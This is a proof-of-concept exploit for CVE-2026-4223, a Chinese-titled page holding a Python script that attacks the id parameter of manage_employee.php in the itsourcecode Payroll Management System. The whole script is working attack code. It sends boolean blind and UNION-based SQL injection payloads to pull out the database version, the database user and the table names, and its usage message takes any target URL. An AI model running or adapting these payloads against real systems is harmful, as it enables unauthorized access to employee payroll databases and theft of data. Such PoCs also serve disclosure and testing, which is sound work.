CVE-2026-4223 itsourcecode薪资管理系统SQL注入漏洞

import requests import sys # CVE-2026-4223 SQL Injection PoC # Target: itsourcecode Payroll Management System 1.0 # File: /manage_employee.php # Parameter: ID def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in manage_employee.php The ID parameter is vulnerable to SQL injection attacks """ # Construct the malicious URL vuln_url = f"{target_url}/manage_employee.php?id={payload}" try: # Send HTTP GET request with malicious payload response = requests.get(vuln_url, timeout=10) # Check for SQL injection indicators if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'mysql', 'error']): print(f"[+] Potential SQL injection detected!") print(f"[+] Payload: {payload}") return True else: print(f"[-] No obvious SQL injection detected") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def blind_sqli_test(target_url): """ Boolean-based blind SQL injection test """ # True condition payload - should return normal response true_payload = "1' AND 1=1 -- -" # False condition payload - should return different response false_payload = "1' AND 1=2 -- -" print("[*] Testing blind SQL injection...") try: # Get baseline response baseline_resp = requests.get(f"{target_url}/manage_employee.php?id=1", timeout=10) # Test true condition exploit_sqli(target_url, true_payload) # Test false condition exploit_sqli(target_url, false_payload) # Database version extraction payload version_payload = "1' UNION SELECT NULL,@@version,NULL,NULL,NULL -- -" print(f"[*] Attempting database version extraction...") exploit_sqli(target_url, version_payload) # Database user extraction payload user_payload = "1' UNION SELECT NULL,user(),NULL,NULL,NULL -- -" print(f"[*] Attempting database user extraction...") exploit_sqli(target_url, user_payload) # Table names extraction payload tables_payload = "1' UNION SELECT NULL,group_concat(table_name),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database() -- -" print(f"[*] Attempting table enumeration...") exploit_sqli(target_url, tables_payload) except Exception as e: print(f"[-] Error during testing: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100/payroll") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] CVE-2026-4223 SQL Injection PoC") print(f"[*] Target: {target}") print(f"[*] Exploiting /manage_employee.php ID parameter\n") blind_sqli_test(target)